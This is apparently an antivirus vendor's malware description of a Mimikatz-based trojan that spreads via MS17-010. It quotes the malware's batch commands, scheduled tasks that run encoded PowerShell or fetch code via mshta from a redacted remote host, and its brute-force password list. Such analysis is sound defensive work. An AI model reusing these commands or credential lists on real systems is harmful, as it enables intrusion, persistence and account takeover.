Trojan.Win32.MIMIKATZ.ADU

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded from remote sites by other malware.

It takes advantage of certain vulnerabilities. However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded from remote site(s) by the following malware:

• Trojan.Win32.INFOSTEAL.ADS

Installation

This Trojan drops the following files:

• %Temp%\mkatz.ini - Mimikatz script output

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

It drops and executes the following files:

• %Temp%\m.ps1 - obfuscated Mimikatz PowerShell script, detected as Trojan.PS1.MIMIKATZ.ADS

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

Other Details

This Trojan does the following:

• It connects to the following website(s) to download and execute a script:
  • http://v.{BLOCKED}h.com/v{user domain}
  • http://w.{BLOCKED}h.com/page.html?p{computer name}
• Port 60124 serves as its mutex to allow only one instance running.
• It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
• It scans randomly-generated IP addresses over the Internet and the local network to check for open port 445.
  If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
  • Send one of the following files to the target and saved as %System Root%\installed.exe and %System Root%\installed2.exe:
    • %Windows%\System32\svhost.exe
    • %Windows%\SysWOW64\svhost.exe
    • %Windows%\System32\drivers\svchost.exe
    • %Windows%\SysWOW64\drivers\svchost.exe
  • Send the file %Temp%\svchost.exe or %Temp%\svvhost.exe to the target saved as %Temp%\svchost.exe.
  • Create a batch file named %Temp%\p.bat containing the ff. commands:
    • netsh interface ipv6 install
    • netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
    • netsh firewall add portopening tcp 65531 DNSS2
    • netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
    • if exist %System%/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F) else start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p{Computer Name}"&schtasks /run /TN Autocheck)
    • net start Ddriver
    • for /f %i in (\'tasklist ^| find /c /i "cmd.exe"\') do set s=%i
    • if gtr 10 (shutdown /r)
    • net user k8h3d /del
    • del %Temp%\p.bat
  • Copies %Temp%\updll.exe and %Temp%\upinstalled.exe to the target machine, saved as the same filenames. It then creates %Temp%\tmp.vbs which executes the copied files.
  • Attempt to execute the sent files on the target machine.

It takes advantage of the following vulnerabilities:

• Microsoft Windows SMB Server (MS17-010) Vulnerability

However, as of this writing, the said sites are inaccessible.

It adds the following scheduled tasks:

• Task Name: DnsScan
  Task to be Run: %Temp%\svchost.exe
• Task Name: \Microsoft\windows\Bluetooths
  Task to be Run: powershell -ep bypass -e {base-64 string}
• Task Name: Autocheck
  Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
• Task Name: Autoscan
  Task to be Run: %Temp%\svchost.exe

NOTES:

This trojan uses the following usernames and passwords to attempt to log into the target machine:

Usernames:

• Administrator
• user
• admin
• test
• hp
• k8h3d

Passwords:

• 123456
• password
• qwerty
• 12345678
• 123456789
• 123
• 1234
• 123123
• 12345
• 12345678
• 123123123
• 1234567890
• 88888888
• 111111111
• 000000
• 111111
• 112233
• 123321
• 654321
• 666666
• 888888
• a123456
• 123456a
• 5201314
• 1qaz2wsx
• 1q2w3e4r
• qwe123
• 123qwe
• a123456789
• 123456789a
• baseball
• dragon
• football
• iloveyou
• password
• sunshine
• princess
• welcome
• abc123
• monkey
• !@#$%^&*
• charlie
• aa123456
• Aa123456
• admin
• homelesspa
• password1
• 1q2w3e4r5t
• qwertyuiop
• 1qaz2wsx
• k8d3j9SjfS7

The file %Temp%\mkatz.ini is parsed to obtain the domain, usernames and passwords, which are also used to attempt to log into the target machine.

In order to execute some commands, it requires a component currently detected as HackTool.Win32.Radmin.GB. This component may be dropped in the target machine as {random 8 characters}.exe in the %Windows% directory.

It also attempts to create the following registry key and entries on the target machine, which executes the component file and the commands mentioned above.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\{random 4 characters}
DisplayName = {random 4 characters}
ImagePath = can be %Windows%\{random 8 characters}.exe, or {command string}

The component file and service may be deleted after execution.